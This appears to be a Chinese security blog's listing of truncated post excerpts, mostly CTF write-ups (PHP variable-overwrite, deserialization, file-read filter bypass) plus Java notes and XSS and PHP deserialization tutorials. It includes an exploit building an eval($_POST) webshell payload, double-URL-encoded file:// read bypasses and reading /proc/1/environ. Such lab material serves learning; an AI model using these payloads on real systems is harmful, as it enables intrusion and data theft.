结营赛Wp
结营赛wp最终排名第10,还可以吧
##misc
签到hsnctf{welcome_to_hsnctf}
easyusb打开压缩包发现,一个流量包和一个flag.zip加密
应该是通过流量包得到密码解得flag
流量包是键盘流量
1─$ tshark -T json -r usb.pcapng > test.json
手动提取键盘流量
12345678910111213141516171800:00:16:00:00:00:00:0000:00:00:00:00:00:00:0000:00:08:00:00:00:00:0000:00:00:00:00:00:00:0000:00:06:00:00:00:00:0000:00:00:00:00:00:00:0000:00:1f:00:00:00:00:0000:00:00:00:00:00:00:0000:00:08:00:00:00:00:0000:00:00:00:00:00:00:0000:00:17:00:00:00:00:0000:00:00:00:00:00:00:0000:00:0e:00:00:00:00:0 ...
BJDCTF2022 Mark Loves Cat
[BJDCTF2020]Mark loves cat
flag.php
123<?php$flag = file_get_contents('/flag');
index.php:
12345678910111213141516171819202122232425262728293031323334<?phpinclude 'flag.php';$yds = "dog";$is = "cat";$handsome = 'yds';foreach($_POST as $x => $y){ $$x = $y;}foreach($_GET as $x => $y){ $$x = $$y;}foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ ...
Esay_eval
#[天翼杯 2021]esay_eval
exp
1234567891011121314151617181920<?phphighlight_file(__FILE__);class A{ public $code = "eval(\$_POST[1]);"; }class B{ public $a; function __construct() { $this -> a=new A(); }}$c = new B();$poc = serialize($c);// echo $poc."<br>";$payload = str_replace('A":1','a":2',$poc);echo '?poc='.$payload;
用蚁剑连上,发现有vim缓存泄露,用vim恢复后发现这个题用了redis,然后利用redis进行RCE
...
BJDCTF2022 Mark Loves Cat
[SWPU 2018]SimplePHP进入页面,存在一个读取文件功能
源码如下
function.php
12345678910111213141516171819202122232425262728293031323334353637383940<?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists(&quo ...
NepCTF2023--部分Wp
NepCTF2023–部分wpMisc:Check inNepCTF{H4ve_Fun_1N_This_Game}
与AI共舞的哈夫曼需要在原本附件里自带的py文件修改一下即可
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134import heapqimport osclass HuffmanNode: def __init__(self, char, freq): self.char = char self.freq = freq s ...
HDCTF 2023-YamiYami
HDCTF 2023 YamiYami非预期解:进入题目界面第一个点开/read路由跳转到百度,发现有文件读取,直接file:///proc/1/environ读取环境变量得flag
预期解:
在/read路由尝试读app.py和flag发现被正则过滤,url二次编码app/app.py:
这里有url二次编码可绕过过滤
1file:///%25%36%31%25%37%30%25%37%30%25%32%46%25%36%31%25%37%30%25%37%30%25%32%45%25%37%30%25%37%39
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182#encoding:utf-8import osimport re, random ...
Java学习笔记
java学习一 、基础语法创建文件 HelloWorld.java(文件名需与类名一致)
输入pvsm回车自动创建主函数,sout输出打印
12345pvsm-》public static void main(String[] args) {}sout->System.out.println();
编写 Java 程序时,应注意以下几点:
大小写敏感:Java 是大小写敏感的,这就意味着标识符 Hello 与 hello 是不同的。
类名:对于所有的类来说,类名的首字母应该大写。如果类名由若干单词组成,那么每个单词的首字母应该大写,例如 MyFirstJavaClass 。
方法名:所有的方法名都应该以小写字母开头。如果方法名含有若干单词,则后面的每个单词首字母大写。
源文件名:源文件名必须和类名相同。当保存文件的时候,你应该使用类名作为文件名保存(切记 Java 是大小写敏感的),文件名的后缀为 .java。(如果文件名和类名不相同则会导致编译错误)。
主方法入口:所有的 Java 程序由 public static voi ...
XSS跨站脚本注入攻击
#XSS跨站脚本注入攻击
跨站脚本(Cross-site Scripting )攻击,攻击者通过网站注入点注入客户端可执行解析的payload(脚本代码),当用户访问网页时,恶意payload自动加载并执行,以达到攻击者目的(窃取cookie、恶意传播、钓鱼欺骗等)。为了避免与HTML语言中的CSS相混淆,通常称它为”XSS”。
XSS分为:存储型 、反射型 、DOM型XSS
###反射性XSS
非持久化,仅执行一次,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。攻击流程:攻击者->发现存在反射性XSS->根据输出点环境构造xss代码->进行代码缩短(可有可无,仅为了增加迷惑性)->发送给受害者->受害者点开链接,xss代码执行完成攻击者代码工具。
1<h1>hello,输入后会变成一级标题 ...
2023巅峰极客 Unserialize Wp
2023巅峰极客 unserialize wp后台扫描发现
访问www.zip下载拿到源码my.php
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748<?phpclass pull_it { private $x; function __construct($xx) { $this->x = $xx; } function __destruct() { if ($this->x) { $preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);'; if (eval($preg_match)) { echo $preg_match; exit( ...
Php反序列化字符串逃逸
PHP 反序列化字符串逃逸反序列化是什么?PHP序列化:serialize()
序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
而PHP反序列化:unserialize()
反序列化是将字符串转换成变量或对象的过程
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化
谈到php反序列化,我们先来看一下PHP他的面向对象怎么个理解,
面向过程vs面向对象
面向过程面向过程是一种以“整体事件”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中再按顺序调用函数。面向对象面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成各个“对象”;对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界 ...